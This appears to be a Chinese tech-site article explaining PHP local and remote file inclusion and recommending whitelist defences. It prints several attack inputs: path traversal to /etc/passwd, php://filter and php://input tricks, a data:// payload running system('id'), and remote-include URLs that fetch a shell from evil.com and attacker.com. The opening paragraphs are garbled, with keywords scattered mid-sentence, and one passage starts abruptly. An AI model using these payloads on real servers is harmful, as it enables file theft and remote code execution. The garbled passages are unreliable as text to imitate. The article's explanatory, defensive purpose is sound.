文件包含漏洞原理
文件包含漏洞原理
一个PHP文件里写了 include($_GET['page']);,攻击者把 page 参数改成 ../../../../etc/passwd,包含服务器直接把密码文件内容吐了出来。漏洞这不是原理什么高深漏洞,但它每年还在CVE列表里反复出现——文件包含漏洞的文件根子就一句话:程序把用户能控制的字符串当成文件路径去加载了。
PHP的包含 include、require、漏洞include_once、原理require_once 四个函数,文件设计初衷是包含让开发者把公共代码(比如数据库连接、页头页脚)拆到单独文件里复用。漏洞问题出在参数上——如果这个路径来自 $_GET、原理$_POST、文件$_COOKIE 这些用户可控的包含输入,而且没有做充分过滤,漏洞攻击者就能让服务器加载他指定的文件。
本地包含:先读文件,再谈执行
最直接的是本地文件包含(LFI)。假设代码长这样:
<?php $page = $_GET['page']; include($page . '.php'); ?>
正常访问 ?page=about,服务器加载 about.php。攻击者传 ?page=../../../../etc/passwd%00,在PHP 5.3.4之前的版本里,%00 截断后面的 .php,/etc/passwd 就被读出来了。新版本虽然修了截断,但用 php://filter 照样能读源码:
?page=php://filter/convert.base64-encode/resource=config
服务器返回 config.php 的base64编码内容。这招特别阴——它不执行文件,只读取,连日志里都看不出异常。
../ 穿越,但实际渗透中,php://filter 和 php://input 才是高频武器。因为前者能直接拿源码,后者配合 allow_url_include=On 可以直接执行POST过来的PHP代码。 远程包含:当服务器去“外面”拿文件
如果PHP配置里 allow_url_include 是开启的(默认关闭),include 能接受URL。攻击者传:
?page=http://evil.com/shell.txt
服务器真的会去 evil.com 下载 shell.txt,然后当作PHP代码执行。这比LFI更致命——攻击者不用在服务器上留任何文件,所有恶意代码都在自己控制的远程主机上。2000年代中期,这种手法横扫了大量CMS和论坛程序。
我见过一个真实案例:某小型企业官网的“关于我们”页面代码里写死了 include($_GET['lang'].'/about.php'),攻击者传 ?lang=http://attacker.com/,服务器直接加载远程 about.php,里面是一句话木马。从发现到getshell,不到三分钟。
伪协议:不依赖远程主机的“外挂”
PHP内置的流包装器让文件包含的玩法多了几层。php://input 能读取POST请求体,配合 allow_url_include=On,攻击者直接POST一段PHP代码,include('php://input') 就执行了。data:// 更直接,把代码写在URL里:
?page=data://text/plain,<?php system('id');?> 还有 zip://、phar:// 这些,配合文件上传漏洞能玩出各种组合拳。防御方往往只盯着 ../ 和 http://,却忘了PHP自己就带了一堆“后门协议”。
为什么它总也修不干净
文件包含漏洞的修复方案很明确:永远不要用用户输入拼接文件路径。如果非要动态包含,用白名单——只允许 about、contact、help 这几个值,其他一律拒绝。但现实是,很多老代码库、外包项目、快速上线的活动页,开发者图省事直接 include($_GET['mod'].'.php'),一传就是好几年。
更麻烦的是,有些场景下开发者觉得“我过滤了 ../ 就安全了”,结果攻击者用 ....// 绕过;或者只过滤了 http,没防 php://filter。这类漏洞的变种太多,黑名单永远不够用。
include 在找不到文件时只抛Warning,脚本继续执行。这意味着攻击者可以先用 ?page=../../../../etc/passwd 探测路径深度,根据报错信息调整 ../ 的数量。这种“盲包含”在实战中非常常见。 说到底,文件包含漏洞不是PHP独有的,但PHP的灵活性和历史包袱让它成了重灾区。JSP的 <jsp:include>、ASP的 <!--#include file="..."--> 也有类似问题,只是PHP的伪协议生态太丰富了,攻击面大了不止一个量级。
写代码的人总觉得“参数是我自己传的”,直到有人把 page=../../../../../../etc/shadow 拼进去。安全这事,永远别信用户的输入——尤其是当这个输入直接决定服务器去读哪个文件的时候。
本文地址:http://www.79wt.cn/news/671d9199237.html
版权声明
本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。